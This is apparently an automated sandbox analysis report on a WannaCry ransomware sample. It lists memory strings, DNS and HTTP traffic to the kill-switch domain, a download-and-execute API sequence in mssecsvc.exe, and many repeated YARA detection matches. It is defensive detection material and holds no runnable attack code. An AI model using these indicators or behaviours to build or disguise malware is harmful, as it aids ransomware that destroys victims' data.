              Source: svchost.exe, 00000014.00000002.316368792.0000020007A2A000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://dev.virtualearth.net/REST/v1/Traffic/Incidents/
              Source: svchost.exe, 00000014.00000003.315626185.0000020007A42000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000014.00000003.315451934.0000020007A41000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000014.00000002.316536269.0000020007A43000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://dev.virtualearth.net/REST/v1/Transit/Schedules/
              Source: svchost.exe, 00000014.00000003.315626185.0000020007A42000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000014.00000003.315451934.0000020007A41000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000014.00000002.316536269.0000020007A43000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://dev.virtualearth.net/mapcontrol/HumanScaleServices/GetBubbles.ashx?n=
              Source: svchost.exe, 00000014.00000003.315236249.0000020007A61000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://dev.virtualearth.net/mapcontrol/logging.ashx
              Source: svchost.exe, 00000014.00000002.316554886.0000020007A4A000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000014.00000003.315451934.0000020007A41000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000014.00000003.315259299.0000020007A49000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://dev.virtualearth.net/webservices/v1/LoggingService/LoggingService.svc/Log?
              Source: svchost.exe, 00000014.00000003.293195948.0000020007A30000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://dev.virtualearth.net/webservices/v1/LoggingService/LoggingService.svc/Log?entry=
              Source: svchost.exe, 00000014.00000002.316554886.0000020007A4A000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000014.00000003.315259299.0000020007A49000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://dynamic.api.tiles.ditu.live.com/odvs/gd?pv=1&r=
              Source: svchost.exe, 00000014.00000002.316554886.0000020007A4A000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000014.00000003.315259299.0000020007A49000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://dynamic.api.tiles.ditu.live.com/odvs/gdi?pv=1&r=
              Source: svchost.exe, 00000014.00000002.316554886.0000020007A4A000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000014.00000003.315259299.0000020007A49000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://dynamic.api.tiles.ditu.live.com/odvs/gdv?pv=1&r=
              Source: svchost.exe, 00000014.00000003.315194536.0000020007A64000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://dynamic.t
              Source: svchost.exe, 00000014.00000003.315236249.0000020007A61000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://dynamic.t0.tiles.ditu.live.com/comp/gen.ashx
              Source: svchost.exe, 00000014.00000002.316515053.0000020007A3E000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://ecn.dev.virtualearth.net/REST/v1/Imagery/Copyright/
              Source: svchost.exe, 00000014.00000003.293195948.0000020007A30000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://ecn.dev.virtualearth.net/mapcontrol/mapconfiguration.ashx?name=native&v=
              Source: lsass.exe, 0000000C.00000000.279255324.00000240B2694000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000000C.00000000.275301759.00000240B2694000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000000C.00000002.789525962.00000240B2694000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: https://pki.goog/repository/0
              Source: svchost.exe, 00000026.00000002.811068119.0000024ADF800000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000026.00000000.413559603.0000024ADF800000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: https://site-cdn.onenote.net/161182431559_Images/LiveTileImages/MediumAndLarge/Image1.png
              Source: svchost.exe, 00000014.00000002.316515053.0000020007A3E000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://t0.ssl.ak.dynamic.tiles.virtualearth.net/comp/gen.ashx
              Source: svchost.exe, 00000014.00000002.316515053.0000020007A3E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000014.00000002.316213625.0000020007A13000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://t0.ssl.ak.dynamic.tiles.virtualearth.net/odvs/gd?pv=1&r=
              Source: svchost.exe, 00000014.00000003.315520566.0000020007A46000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000014.00000003.315451934.0000020007A41000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://t0.ssl.ak.dynamic.tiles.virtualearth.net/odvs/gdi?pv=1&r=
              Source: svchost.exe, 00000014.00000003.315520566.0000020007A46000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000014.00000003.315451934.0000020007A41000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://t0.ssl.ak.dynamic.tiles.virtualearth.net/odvs/gdv?pv=1&r=
              Source: svchost.exe, 00000014.00000003.293195948.0000020007A30000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://t0.ssl.ak.dynamic.tiles.virtualearth.net/odvs/gri?pv=1&r=
              Source: svchost.exe, 00000014.00000002.316463909.0000020007A3A000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000014.00000003.293195948.0000020007A30000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://t0.ssl.ak.tiles.virtualearth.net/tiles/gen
              Source: svchost.exe, 00000014.00000002.316554886.0000020007A4A000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000014.00000003.315259299.0000020007A49000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://t0.tiles.ditu.live.com/tiles/gen
              Source: unknownDNS traffic detected: queries for: www.iuqerfsodp9ifjaposdfjhgosurijfaewrwergwea.com
              Source: C:\Windows\mssecsvc.exeCode function: 4_2_00AC27A7 GetTempFileNameA,CreateFileA,InternetReadFile,WriteFile,CloseHandle,CreateProcessA,InternetCloseHandle,InternetCloseHandle,4_2_00AC27A7
              Source: global trafficHTTP traffic detected: GET / HTTP/1.1Host: www.iuqerfsodp9ifjaposdfjhgosurijfaewrwergwea.comCache-Control: no-cache
              Source: global trafficHTTP traffic detected: GET / HTTP/1.1Host: www.iuqerfsodp9ifjaposdfjhgosurijfaewrwergwea.comCache-Control: no-cache

              Spam, unwanted Advertisements and Ransom Demands

              barindex
              Detected Wannacry Ransomware
              Source: C:\Windows\tasksche.exeCode function: CreateFileA,GetFileSizeEx,memcmp,GlobalAlloc,_local_unwind2, WANACRY!29_2_004014A6
              Yara detected Wannacry ransomware
              Source: Yara matchFile source: kBBdc7Aoj4.dll, type: SAMPLE
              Source: Yara matchFile source: 7.0.mssecsvc.exe.400000.6.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 7.2.mssecsvc.exe.400000.0.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 4.0.mssecsvc.exe.400000.6.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 4.2.mssecsvc.exe.400000.0.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 4.0.mssecsvc.exe.400000.0.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 7.0.mssecsvc.exe.400000.2.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 10.0.mssecsvc.exe.400000.0.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 4.0.mssecsvc.exe.400000.4.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 7.0.mssecsvc.exe.400000.0.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 4.0.mssecsvc.exe.400000.2.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 7.0.mssecsvc.exe.400000.4.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 10.2.mssecsvc.exe.400000.0.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 00000007.00000000.268024484.000000000040F000.00000008.00000001.01000000.00000004.sdmp, type: MEMORY
              Source: Yara matchFile source: 00000004.00000000.262205449.000000000040F000.00000008.00000001.01000000.00000004.sdmp, type: MEMORY
              Source: Yara matchFile source: 0000000A.00000000.273722400.000000000040F000.00000008.00000001.01000000.00000004.sdmp, type: MEMORY
              Source: Yara matchFile source: 00000004.00000000.264092171.000000000040F000.00000008.00000001.01000000.00000004.sdmp, type: MEMORY
              Source: Yara matchFile source: 00000004.00000000.265541463.000000000040F000.00000008.00000001.01000000.00000004.sdmp, type: MEMORY
              Source: Yara matchFile source: 00000007.00000000.263750999.000000000040F000.00000008.00000001.01000000.00000004.sdmp, type: MEMORY
              Source: Yara matchFile source: 00000004.00000000.260179389.000000000040F000.00000008.00000001.01000000.00000004.sdmp, type: MEMORY
              Source: Yara matchFile source: 00000007.00000000.269613670.000000000040F000.00000008.00000001.01000000.00000004.sdmp, type: MEMORY
              Source: Yara matchFile source: 00000004.00000002.529470783.000000000040F000.00000008.00000001.01000000.00000004.sdmp, type: MEMORY
              Source: Yara matchFile source: 0000000A.00000002.354639412.000000000040F000.00000008.00000001.01000000.00000004.sdmp, type: MEMORY
              Source: Yara matchFile source: 00000007.00000002.354916405.000000000040F000.00000008.00000001.01000000.00000004.sdmp, type: MEMORY
              Source: Yara matchFile source: 00000007.00000000.265021941.000000000040F000.00000008.00000001.01000000.00000004.sdmp, type: MEMORY
              Source: Yara matchFile source: Process Memory Space: mssecsvc.exe PID: 6452, type: MEMORYSTR
              Source: Yara matchFile source: Process Memory Space: mssecsvc.exe PID: 6500, type: MEMORYSTR
              Source: Yara matchFile source: Process Memory Space: mssecsvc.exe PID: 6656, type: MEMORYSTR
              Source: Yara matchFile source: C:\Windows\mssecsvc.exe, type: DROPPED

              System Summary

              barindex
              Malicious sample detected (through community Yara rule)
              Source: kBBdc7Aoj4.dll, type: SAMPLEMatched rule: Detects WannaCry Ransomware Author: Florian Roth (with the help of binar.ly)
              Source: kBBdc7Aoj4.dll, type: SAMPLEMatched rule: detects wannacry ransomware on disk and in virtual page Author: us-cert code analysis team
              Source: 4.0.mssecsvc.exe.7100a4.1.unpack, type: UNPACKEDPEMatched rule: Detects WannaCry Ransomware Author: Florian Roth (with the help of binar.ly)
              Source: 4.0.mssecsvc.exe.7100a4.1.unpack, type: UNPACKEDPEMatched rule: detects wannacry ransomware on disk and in virtual page Author: us-cert code analysis team
              Source: 4.0.mssecsvc.exe.7100a4.1.unpack, type: UNPACKEDPEMatched rule: Win32_Ransomware_WannaCry Author: ReversingLabs
              Source: 10.2.mssecsvc.exe.7100a4.1.unpack, type: UNPACKEDPEMatched rule: Detects WannaCry Ransomware Author: Florian Roth (with the help of binar.ly)
              Source: 10.2.mssecsvc.exe.7100a4.1.unpack, type: UNPACKEDPEMatched rule: detects wannacry ransomware on disk and in virtual page Author: us-cert code analysis team
              Source: 10.2.mssecsvc.exe.7100a4.1.unpack, type: UNPACKEDPEMatched rule: Win32_Ransomware_WannaCry Author: ReversingLabs
              Source: 4.2.mssecsvc.exe.7100a4.1.unpack, type: UNPACKEDPEMatched rule: Detects WannaCry Ransomware Author: Florian Roth (with the help of binar.ly)
              Source: 4.2.mssecsvc.exe.7100a4.1.unpack, type: UNPACKEDPEMatched rule: detects wannacry ransomware on disk and in virtual page Author: us-cert code analysis team
              Source: 4.2.mssecsvc.exe.7100a4.1.unpack, type: UNPACKEDPEMatched rule: Win32_Ransomware_WannaCry Author: ReversingLabs
              Source: 4.0.mssecsvc.exe.7100a4.1.raw.unpack, type: UNPACKEDPEMatched rule: Detects WannaCry Ransomware Author: Florian Roth (with the help of binar.ly)
              Source: 4.0.mssecsvc.exe.7100a4.1.raw.unpack, type: UNPACKEDPEMatched rule: detects wannacry ransomware on disk and in virtual page Author: us-cert code analysis team
              Source: 4.0.mssecsvc.exe.7100a4.1.raw.unpack, type: UNPACKEDPEMatched rule: Win32_Ransomware_WannaCry Author: ReversingLabs
              Source: 10.2.mssecsvc.exe.7100a4.1.raw.unpack, type: UNPACKEDPEMatched rule: Detects WannaCry Ransomware Author: Florian Roth (with the help of binar.ly)
              Source: 10.2.mssecsvc.exe.7100a4.1.raw.unpack, type: UNPACKEDPEMatched rule: detects wannacry ransomware on disk and in virtual page Author: us-cert code analysis team
              Source: 10.2.mssecsvc.exe.7100a4.1.raw.unpack, type: UNPACKEDPEMatched rule: Win32_Ransomware_WannaCry Author: ReversingLabs
              Source: 7.0.mssecsvc.exe.400000.6.unpack, type: UNPACKEDPEMatched rule: Detects WannaCry Ransomware Author: Florian Roth (with the help of binar.ly)
              Source: 7.0.mssecsvc.exe.400000.6.unpack, type: UNPACKEDPEMatched rule: Detects WannaCry Ransomware Author: Florian Roth (based on rule by US CERT)
              Source: 7.0.mssecsvc.exe.400000.6.unpack, type: UNPACKEDPEMatched rule: detects wannacry ransomware on disk and in virtual page Author: us-cert code analysis team
              Source: 29.2.tasksche.exe.400000.0.unpack, type: UNPACKEDPEMatched rule: Detects WannaCry Ransomware Author: Florian Roth (with the help of binar.ly)
              Source: 29.2.tasksche.exe.400000.0.unpack, type: UNPACKEDPEMatched rule: detects wannacry ransomware on disk and in virtual page Author: us-cert code analysis team
              Source: 29.2.tasksche.exe.400000.0.unpack, type: UNPACKEDPEMatched rule: Win32_Ransomware_WannaCry Author: ReversingLabs
              Source: 7.0.mssecsvc.exe.7100a4.7.raw.unpack, type: UNPACKEDPEMatched rule: Detects WannaCry Ransomware Author: Florian Roth (with the help of binar.ly)
              Source: 7.0.mssecsvc.exe.7100a4.7.raw.unpack, type: UNPACKEDPEMatched rule: detects wannacry ransomware on disk and in virtual page Author: us-cert code analysis team
              Source: 7.0.mssecsvc.exe.7100a4.7.raw.unpack, type: UNPACKEDPEMatched rule: Win32_Ransomware_WannaCry Author: ReversingLabs
              Source: 7.2.mssecsvc.exe.400000.0.unpack, type: UNPACKEDPEMatched rule: Detects WannaCry Ransomware Author: Florian Roth (with the help of binar.ly)
              Source: 7.2.mssecsvc.exe.400000.0.unpack, type: UNPACKEDPEMatched rule: Detects WannaCry Ransomware Author: Florian Roth (based on rule by US CERT)
              Source: 7.2.mssecsvc.exe.400000.0.unpack, type: UNPACKEDPEMatched rule: detects wannacry ransomware on disk and in virtual page Author: us-cert code analysis team
              Source: 29.0.tasksche.exe.400000.0.unpack, type: UNPACKEDPEMatched rule: Detects WannaCry Ransomware Author: Florian Roth (with the help of binar.ly)
              Source: 29.0.tasksche.exe.400000.0.unpack, type: UNPACKEDPEMatched rule: detects wannacry ransomware on disk and in virtual page Author: us-cert code analysis team
              Source: 29.0.tasksche.exe.400000.0.unpack, type: UNPACKEDPEMatched rule: Win32_Ransomware_WannaCry Author: ReversingLabs
              Source: 7.0.mssecsvc.exe.7100a4.7.unpack, type: UNPACKEDPEMatched rule: Detects WannaCry Ransomware Author: Florian Roth (with the help of binar.ly)
              Source: 7.0.mssecsvc.exe.7100a4.7.unpack, type: UNPACKEDPEMatched rule: detects wannacry ransomware on disk and in virtual page Author: us-cert code analysis team
              Source: 7.0.mssecsvc.exe.7100a4.7.unpack, type: UNPACKEDPEMatched rule: Win32_Ransomware_WannaCry Author: ReversingLabs
              Source: 4.0.mssecsvc.exe.400000.6.unpack, type: UNPACKEDPEMatched rule: Detects WannaCry Ransomware Author: Florian Roth (with the help of binar.ly)
              Source: 4.0.mssecsvc.exe.400000.6.unpack, type: UNPACKEDPEMatched rule: Detects WannaCry Ransomware Author: Florian Roth (based on rule by US CERT)
              Source: 4.0.mssecsvc.exe.400000.6.unpack, type: UNPACKEDPEMatched rule: detects wannacry ransomware on disk and in virtual page Author: us-cert code analysis team
              Source: 7.0.mssecsvc.exe.7100a4.5.raw.unpack, type: UNPACKEDPEMatched rule: Detects WannaCry Ransomware Author: Florian Roth (with the help of binar.ly)
              Source: 7.0.mssecsvc.exe.7100a4.5.raw.unpack, type: UNPACKEDPEMatched rule: detects wannacry ransomware on disk and in virtual page Author: us-cert code analysis team
              Source: 7.0.mssecsvc.exe.7100a4.5.raw.unpack, type: UNPACKEDPEMatched rule: Win32_Ransomware_WannaCry Author: ReversingLabs
              Source: 4.0.mssecsvc.exe.7100a4.5.raw.unpack, type: UNPACKEDPEMatched rule: Detects WannaCry Ransomware Author: Florian Roth (with the help of binar.ly)
              Source: 4.0.mssecsvc.exe.7100a4.5.raw.unpack, type: UNPACKEDPEMatched rule: detects wannacry ransomware on disk and in virtual page Author: us-cert code analysis team
              Source: 4.0.mssecsvc.exe.7100a4.5.raw.unpack, type: UNPACKEDPEMatched rule: Win32_Ransomware_WannaCry Author: ReversingLabs
              Source: 7.0.mssecsvc.exe.7100a4.5.unpack, type: UNPACKEDPEMatched rule: Detects WannaCry Ransomware Author: Florian Roth (with the help of binar.ly)
              Source: 7.0.mssecsvc.exe.7100a4.5.unpack, type: UNPACKEDPEMatched rule: detects wannacry ransomware on disk and in virtual page Author: us-cert code analysis team
              Source: 7.0.mssecsvc.exe.7100a4.5.unpack, type: UNPACKEDPEMatched rule: Win32_Ransomware_WannaCry Author: ReversingLabs
              Source: 4.2.mssecsvc.exe.400000.0.unpack, type: UNPACKEDPEMatched rule: Detects WannaCry Ransomware Author: Florian Roth (with the help of binar.ly)
              Source: 4.2.mssecsvc.exe.400000.0.unpack, type: UNPACKEDPEMatched rule: Detects WannaCry Ransomware Author: Florian Roth (based on rule by US CERT)
              Source: 4.2.mssecsvc.exe.400000.0.unpack, type: UNPACKEDPEMatched rule: detects wannacry ransomware on disk and in virtual page Author: us-cert code analysis team
              Source: 7.0.mssecsvc.exe.7100a4.3.raw.unpack, type: UNPACKEDPEMatched rule: Detects WannaCry Ransomware Author: Florian Roth (with the help of binar.ly)
              Source: 7.0.mssecsvc.exe.7100a4.3.raw.unpack, type: UNPACKEDPEMatched rule: detects wannacry ransomware on disk and in virtual page Author: us-cert code analysis team
              Source: 7.0.mssecsvc.exe.7100a4.3.raw.unpack, type: UNPACKEDPEMatched rule: Win32_Ransomware_WannaCry Author: ReversingLabs
              Source: 7.2.mssecsvc.exe.7100a4.1.raw.unpack, type: UNPACKEDPEMatched rule: Detects WannaCry Ransomware Author: Florian Roth (with the help of binar.ly)
              Source: 7.2.mssecsvc.exe.7100a4.1.raw.unpack, type: UNPACKEDPEMatched rule: detects wannacry ransomware on disk and in virtual page Author: us-cert code analysis team
              Source: 7.2.mssecsvc.exe.7100a4.1.raw.unpack, type: UNPACKEDPEMatched rule: Win32_Ransomware_WannaCry Author: ReversingLabs
              Source: 4.0.mssecsvc.exe.400000.0.unpack, type: UNPACKEDPEMatched rule: Detects WannaCry Ransomware Author: Florian Roth (with the help of binar.ly)
              Source: 4.0.mssecsvc.exe.400000.0.unpack, type: UNPACKEDPEMatched rule: Detects WannaCry Ransomware Author: Florian Roth (based on rule by US CERT)
              Source: 4.0.mssecsvc.exe.400000.0.unpack, type: UNPACKEDPEMatched rule: detects wannacry ransomware on disk and in virtual page Author: us-cert code analysis team
              Source: 4.2.mssecsvc.exe.7100a4.1.raw.unpack, type: UNPACKEDPEMatched rule: Detects WannaCry Ransomware Author: Florian Roth (with the help of binar.ly)
              Source: 4.2.mssecsvc.exe.7100a4.1.raw.unpack, type: UNPACKEDPEMatched rule: detects wannacry ransomware on disk and in virtual page Author: us-cert code analysis team
              Source: 4.2.mssecsvc.exe.7100a4.1.raw.unpack, type: UNPACKEDPEMatched rule: Win32_Ransomware_WannaCry Author: ReversingLabs
              Source: 7.0.mssecsvc.exe.400000.2.unpack, type: UNPACKEDPEMatched rule: Detects WannaCry Ransomware Author: Florian Roth (with the help of binar.ly)
              Source: 7.0.mssecsvc.exe.400000.2.unpack, type: UNPACKEDPEMatched rule: Detects WannaCry Ransomware Author: Florian Roth (based on rule by US CERT)
              Source: 7.0.mssecsvc.exe.400000.2.unpack, type: UNPACKEDPEMatched rule: detects wannacry ransomware on disk and in virtual page Author: us-cert code analysis team
              Source: 4.0.mssecsvc.exe.7100a4.5.unpack, type: UNPACKEDPEMatched rule: Detects WannaCry Ransomware Author: Florian Roth (with the help of binar.ly)
              Source: 4.0.mssecsvc.exe.7100a4.5.unpack, type: UNPACKEDPEMatched rule: detects wannacry ransomware on disk and in virtual page Author: us-cert code analysis team
              Source: 4.0.mssecsvc.exe.7100a4.5.unpack, type: UNPACKEDPEMatched rule: Win32_Ransomware_WannaCry Author: ReversingLabs
              Source: 7.0.mssecsvc.exe.7100a4.1.unpack, type: UNPACKEDPEMatched rule: Detects WannaCry Ransomware Author: Florian Roth (with the help of binar.ly)
              Source: 7.0.mssecsvc.exe.7100a4.1.unpack, type: UNPACKEDPEMatched rule: detects wannacry ransomware on disk and in virtual page Author: us-cert code analysis team
              Source: 7.0.mssecsvc.exe.7100a4.1.unpack, type: UNPACKEDPEMatched rule: Win32_Ransomware_WannaCry Author: ReversingLabs
              Source: 10.0.mssecsvc.exe.400000.0.unpack, type: UNPACKEDPEMatched rule: Detects WannaCry Ransomware Author: Florian Roth (with the help of binar.ly)
              Source: 10.0.mssecsvc.exe.400000.0.unpack, type: UNPACKEDPEMatched rule: Detects WannaCry Ransomware Author: Florian Roth (based on rule by US CERT)
              Source: 10.0.mssecsvc.exe.400000.0.unpack, type: UNPACKEDPEMatched rule: detects wannacry ransomware on disk and in virtual page Author: us-cert code analysis team
              Source: 7.0.mssecsvc.exe.7100a4.1.raw.unpack, type: UNPACKEDPEMatched rule: Detects WannaCry Ransomware Author: Florian Roth (with the help of binar.ly)
              Source: 7.0.mssecsvc.exe.7100a4.1.raw.unpack, type: UNPACKEDPEMatched rule: detects wannacry ransomware on disk and in virtual page Author: us-cert code analysis team
              Source: 7.0.mssecsvc.exe.7100a4.1.raw.unpack, type: UNPACKEDPEMatched rule: Win32_Ransomware_WannaCry Author: ReversingLabs
              Source: 4.0.mssecsvc.exe.400000.4.unpack, type: UNPACKEDPEMatched rule: Detects WannaCry Ransomware Author: Florian Roth (with the help of binar.ly)
              Source: 4.0.mssecsvc.exe.400000.4.unpack, type: UNPACKEDPEMatched rule: Detects WannaCry Ransomware Author: Florian Roth (based on rule by US CERT)
              Source: 10.0.mssecsvc.exe.7100a4.1.unpack, type: UNPACKEDPEMatched rule: Detects WannaCry Ransomware Author: Florian Roth (with the help of binar.ly)
              Source: 4.0.mssecsvc.exe.7100a4.7.unpack, type: UNPACKEDPEMatched rule: Detects WannaCry Ransomware Author: Florian Roth (with the help of binar.ly)
              Source: 10.0.mssecsvc.exe.7100a4.1.unpack, type: UNPACKEDPEMatched rule: detects wannacry ransomware on disk and in virtual page Author: us-cert code analysis team
              Source: 4.0.mssecsvc.exe.7100a4.7.unpack, type: UNPACKEDPEMatched rule: detects wannacry ransomware on disk and in virtual page Author: us-cert code analysis team
              Source: 4.0.mssecsvc.exe.7100a4.7.unpack, type: UNPACKEDPEMatched rule: Win32_Ransomware_WannaCry Author: ReversingLabs
              Source: 10.0.mssecsvc.exe.7100a4.1.unpack, type: UNPACKEDPEMatched rule: Win32_Ransomware_WannaCry Author: ReversingLabs
              Source: 4.0.mssecsvc.exe.400000.4.unpack, type: UNPACKEDPEMatched rule: detects wannacry ransomware on disk and in virtual page Author: us-cert code analysis team
              Source: 7.0.mssecsvc.exe.400000.0.unpack, type: UNPACKEDPEMatched rule: Detects WannaCry Ransomware Author: Florian Roth (with the help of binar.ly)
              Source: 7.0.mssecsvc.exe.400000.0.unpack, type: UNPACKEDPEMatched rule: Detects WannaCry Ransomware Author: Florian Roth (based on rule by US CERT)
              Source: 7.0.mssecsvc.exe.400000.0.unpack, type: UNPACKEDPEMatched rule: detects wannacry ransomware on disk and in virtual page Author: us-cert code analysis team
              Source: 10.0.mssecsvc.exe.7100a4.1.raw.unpack, type: UNPACKEDPEMatched rule: Detects WannaCry Ransomware Author: Florian Roth (with the help of binar.ly)
              Source: 10.0.mssecsvc.exe.7100a4.1.raw.unpack, type: UNPACKEDPEMatched rule: detects wannacry ransomware on disk and in virtual page Author: us-cert code analysis team
              Source: 10.0.mssecsvc.exe.7100a4.1.raw.unpack, type: UNPACKEDPEMatched rule: Win32_Ransomware_WannaCry Author: ReversingLabs
              Source: 4.0.mssecsvc.exe.400000.2.unpack, type: UNPACKEDPEMatched rule: Detects WannaCry Ransomware Author: Florian Roth (with the help of binar.ly)
              Source: 4.0.mssecsvc.exe.400000.2.unpack, type: UNPACKEDPEMatched rule: Detects WannaCry Ransomware Author: Florian Roth (based on rule by US CERT)
              Source: 4.0.mssecsvc.exe.400000.2.unpack, type: UNPACKEDPEMatched rule: detects wannacry ransomware on disk and in virtual page Author: us-cert code analysis team
              Source: 7.0.mssecsvc.exe.400000.4.unpack, type: UNPACKEDPEMatched rule: Detects WannaCry Ransomware Author: Florian Roth (with the help of binar.ly)
              Source: 7.0.mssecsvc.exe.400000.4.unpack, type: UNPACKEDPEMatched rule: Detects WannaCry Ransomware Author: Florian Roth (based on rule by US CERT)
              Source: 7.0.mssecsvc.exe.400000.4.unpack, type: UNPACKEDPEMatched rule: detects wannacry ransomware on disk and in virtual page Author: us-cert code analysis team
              Source: 4.0.mssecsvc.exe.7100a4.7.raw.unpack, type: UNPACKEDPEMatched rule: Detects WannaCry Ransomware Author: Florian Roth (with the help of binar.ly)
              Source: 4.0.mssecsvc.exe.7100a4.7.raw.unpack, type: UNPACKEDPEMatched rule: detects wannacry ransomware on disk and in virtual page Author: us-cert code analysis team
              Source: 4.0.mssecsvc.exe.7100a4.7.raw.unpack, type: UNPACKEDPEMatched rule: Win32_Ransomware_WannaCry Author: ReversingLabs
              Source: 4.0.mssecsvc.exe.7100a4.3.unpack, type: UNPACKEDPEMatched rule: Detects WannaCry Ransomware Author: Florian Roth (with the help of binar.ly)
              Source: 4.0.mssecsvc.exe.7100a4.3.unpack, type: UNPACKEDPEMatched rule: detects wannacry ransomware on disk and in virtual page Author: us-cert code analysis team
              Source: 4.0.mssecsvc.exe.7100a4.3.unpack, type: UNPACKEDPEMatched rule: Win32_Ransomware_WannaCry Author: ReversingLabs
              Source: 4.0.mssecsvc.exe.7100a4.3.raw.unpack, type: UNPACKEDPEMatched rule: Detects WannaCry Ransomware Author: Florian Roth (with the help of binar.ly)
              Source: 4.0.mssecsvc.exe.7100a4.3.raw.unpack, type: UNPACKEDPEMatched rule: detects wannacry ransomware on disk and in virtual page Author: us-cert code analysis team
              Source: 4.0.mssecsvc.exe.7100a4.3.raw.unpack, type: UNPACKEDPEMatched rule: Win32_Ransomware_WannaCry Author: ReversingLabs
              Source: 10.2.mssecsvc.exe.400000.0.unpack, type: UNPACKEDPEMatched rule: Detects WannaCry Ransomware Author: Florian Roth (with the help of binar.ly)
              Source: 10.2.mssecsvc.exe.400000.0.unpack, type: UNPACKEDPEMatched rule: Detects WannaCry Ransomware Author: Florian Roth (based on rule by US CERT)
              Source: 10.2.mssecsvc.exe.400000.0.unpack, type: UNPACKEDPEMatched rule: detects wannacry ransomware on disk and in virtual page Author: us-cert code analysis team
              Source: 7.2.mssecsvc.exe.7100a4.1.unpack, type: UNPACKEDPEMatched rule: Detects WannaCry Ransomware Author: Florian Roth (with the help of binar.ly)
              Source: 7.2.mssecsvc.exe.7100a4.1.unpack, type: UNPACKEDPEMatched rule: detects wannacry ransomware on disk and in virtual page Author: us-cert code analysis team
              Source: 7.2.mssecsvc.exe.7100a4.1.unpack, type: UNPACKEDPEMatched rule: Win32_Ransomware_WannaCry Author: ReversingLabs
              Source: 7.0.mssecsvc.exe.7100a4.3.unpack, type: UNPACKEDPEMatched rule: Detects WannaCry Ransomware Author: Florian Roth (with the help of binar.ly)
              Source: 7.0.mssecsvc.exe.7100a4.3.unpack, type: UNPACKEDPEMatched rule: detects wannacry ransomware on disk and in virtual page Author: us-cert code analysis team
              Source: 7.0.mssecsvc.exe.7100a4.3.unpack, type: UNPACKEDPEMatched rule: Win32_Ransomware_WannaCry Author: ReversingLabs
              Source: 0000001D.00000000.340987987.000000000040E000.00000008.00000001.01000000.00000008.sdmp, type: MEMORYMatched rule: detects wannacry ransomware on disk and in virtual page Author: us-cert code analysis team
              Source: 0000001D.00000002.346252810.000000000040E000.00000008.00000001.01000000.00000008.sdmp, type: MEMORYMatched rule: detects wannacry ransomware on disk and in virtual page Author: us-cert code analysis team
              Source: 00000007.00000000.263814338.0000000000710000.00000080.00000001.01000000.00000004.sdmp, type: MEMORYMatched rule: detects wannacry ransomware on disk and in virtual page Author: us-cert code analysis team
              Source: 0000000A.00000002.354732682.0000000000710000.00000080.00000001.01000000.00000004.sdmp, type: MEMORYMatched rule: detects wannacry ransomware on disk and in virtual page Author: us-cert code analysis team
              Source: 00000004.00000000.264216191.0000000000710000.00000080.00000001.01000000.00000004.sdmp, type: MEMORYMatched rule: detects wannacry ransomware on disk and in virtual page Author: us-cert code analysis team
              Source: 00000004.00000000.265737352.0000000000710000.00000080.00000001.01000000.00000004.sdmp, type: MEMORYMatched rule: detects wannacry ransomware on disk and in virtual page Author: us-cert code analysis team
              Source: 00000007.00000000.268086584.0000000000710000.00000080.00000001.01000000.00000004.sdmp, type: MEMORYMatched rule: detects wannacry ransomware on disk and in virtual page Author: us-cert code analysis team
              Source: 00000004.00000000.260249234.0000000000710000.00000080.00000001.01000000.00000004.sdmp, type: MEMORYMatched rule: detects wannacry ransomware on disk and in virtual page Author: us-cert code analysis team
              Source: 00000007.00000000.269796285.0000000000710000.00000080.00000001.01000000.00000004.sdmp, type: MEMORYMatched rule: detects wannacry ransomware on disk and in virtual page Author: us-cert code analysis team
              Source: 00000007.00000000.265208770.0000000000710000.00000080.00000001.01000000.00000004.sdmp, type: MEMORYMatched rule: detects wannacry ransomware on disk and in virtual page Author: us-cert code analysis team
